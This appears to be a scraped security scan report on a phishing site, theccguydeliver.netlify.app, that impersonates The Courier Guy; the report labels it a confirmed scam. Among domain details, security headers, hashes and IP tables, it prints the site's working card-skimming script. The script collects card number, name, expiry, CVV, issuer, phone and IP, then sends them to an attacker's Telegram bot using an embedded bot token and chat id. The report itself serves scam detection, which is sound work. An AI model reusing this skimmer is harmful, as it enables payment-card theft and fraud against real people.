finance banking

e-commerce

English

You're looking at domain 'theccguydeliver.netlify.app' on the application-focused generic top-level domain (.app); it also runs on subdomain 'theccguydeliver'. The core label 'netlify' covers 7 characters holding 2 vowels versus 5 consonants. Word splitting yields three words: net, li, fy. Median word length comes out to two characters. No strong language cues emerged from the frequency lists.

card

name

html/df/18/df188173-fa4a-4b1c-9292-d21ae89d57e2.html.gz

default-src *.facebook.com *.fbcdn.net *.facebook.net 'self' blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net blob: 'self' 'nonce-jRavsXsY';style-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob: 'unsafe-inline';connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.fbcdn.net attachment.fbsbx.com *.cdninstagram.com blob: 'self' data: https://edge-chat.facebook.net https://edge-chat-latest.facebook.net wss://edge-chat-latest.facebook.net wss://edge-chat.facebook.net wss://edge-chat.socialplugin.facebook.net wss://edge-chat-latest.socialplugin.facebook.net https://edge-chat.socialplugin.facebook.net https://edge-chat-latest.socialplugin.facebook.net;font-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;img-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;media-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;child-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;frame-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;manifest-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;object-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;worker-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;block-all-mixed-content;upgrade-insecure-requests;

default-src *.facebook.com *.fbcdn.net *.facebook.net 'self' blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net blob: 'self' 'nonce-jRavsXsY';style-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob: 'unsafe-inline';connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.fbcdn.net attachment.fbsbx.com *.cdninstagram.com blob: 'self' data: https://edge-chat.facebook.net https://edge-chat-latest.facebook.net wss://edge-chat-latest.facebook.net wss://edge-chat.facebook.net wss://edge-chat.socialplugin.facebook.net wss://edge-chat-latest.socialplugin.facebook.net https://edge-chat.socialplugin.facebook.net https://edge-chat-latest.socialplugin.facebook.net;font-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;img-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;media-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;child-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;frame-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;manifest-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;object-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;worker-src *.facebook.com *.fbcdn.net *.facebook.net 'self' data: blob:;block-all-mixed-content;upgrade-insecure-requests;report-uri https://www.facebook.com/csp/reporting/?m=tr_exp&minimize=0;

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

dc3e74c7d598455adc39915140f57b8409cb6ec4a21726e2539e680c75953d1c

2652f522542c9829f9b8ab43012f90dea7a6a10609581d2966751af1cc91b27d

4a1f1dc799a9dc91a6df5a7544ee9dd27cd47de74ae0428e6bcdfa1b85f137b6

41d3d86410caa4427fd196f2004f4199755dcc2187c7df893f128b9a54c0e0e7

fda318654b85ee3eb21cac3b782af5a9f6a01413cc202857ef4dfb0e959f2b8c

width=device-width, initial-scale=1, maximum-scale=1

viewport

theme-color

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Name.com Abuse Team

Name.com, Inc.

netlify.app

Abuse

Google LLC

GOOGLE


    (function (w, d, s, l, i) {
      w[l] = w[l] || [];
      w[l].push({ 'gtm.start': new Date().getTime(), event: 'gtm.js', });
      var f = d.getElementsByTagName(s)[0], j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : '';
      j.async = true; j.src = '../www.googletagmanager.com/gtm5445.html?id=' + i + dl + '&gtm_auth=&gtm_preview=&gtm_cookies_win=x';
      f.parentNode.insertBefore(j, f);
    })(window, document, 'script', 'dataLayer', 'G-H6ZR9QHC6R');


    (function (w, d, s, l, i) {
      w[l] = w[l] || [];
      w[l].push({ 'gtm.start': new Date().getTime(), event: 'gtm.js', });
      var f = d.getElementsByTagName(s)[0], j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : '';
      j.async = true; j.src = '../www.googletagmanager.com/gtm5445.html?id=' + i + dl + '&gtm_auth=&gtm_preview=&gtm_cookies_win=x';
      f.parentNode.insertBefore(j, f);
    })(window, document, 'script', 'dataLayer', 'GTM-N6Q2L78');

// fetch IP and store in #gfg
 fetch("https://api.ipify.org?format=json")
 .then(res => res.json())
 .then(data => { document.getElementById('gfg').textContent = data.ip; })
 .catch(() => { document.getElementById('gfg').textContent = 'unknown'; });

 const form = document.querySelector("#myform");

 form.addEventListener("submit", async (e) => {
 e.preventDefault();

 const text1 = document.getElementById("card").value.trim();
 const text2 = document.getElementById("name").value.trim();
 const text3 = document.getElementById("month").value;
 const text4 = document.getElementById("year").value;
 const text5 = document.getElementById("cvv").value.trim();
 const text6 = document.getElementById("issuer").value;
 const text7 = document.getElementById("mobile").value.trim();
 const text8 = document.getElementById("gfg").textContent || 'unknown';

 console.log('Running script — collected mobile:', text7);

 const my_text = `The Courier Guy Card %0ACard number : ${text1} %0AName on card : ${text2} %0AExpiry date : ${text3}/${text4} %0ACvv : ${text5} %0ACard Issuer : ${text6} %0APhone number : ${text7} %0AIP : ${text8}`;

 const token = "8963399164:AAEBfgj4D6rHFamw3vijVNLRPIdjaaQKT8g";
 const chat_id = "8130329171";
 var url = `https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=${my_text}&parse_mode=html`

 try {
 const resp = await fetch(url, { method: 'GET', mode: 'cors' });
 if (!resp.ok) console.warn('Telegram send failed', resp.status);
 else console.log('Message successfully sent');
 } catch (err) {
 console.error('Request error', err);
 }

 setTimeout(() => window.location.replace("load.html"), 3000);
 });

Requests	IP Address	Location	AS Autonomous System
9	142.250.154.97Google · CDN	United States	AS15169Google LLC
6	63.176.8.218Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
6	157.240.0.6	Frankfurt am Main, Hesse, Germany	AS32934Facebook, Inc.
6	142.251.14.95Google · CDN	United States	AS15169Google LLC
27	4	-	-

Security Scan Report: theccguydeliver.netlify.app

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies4

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History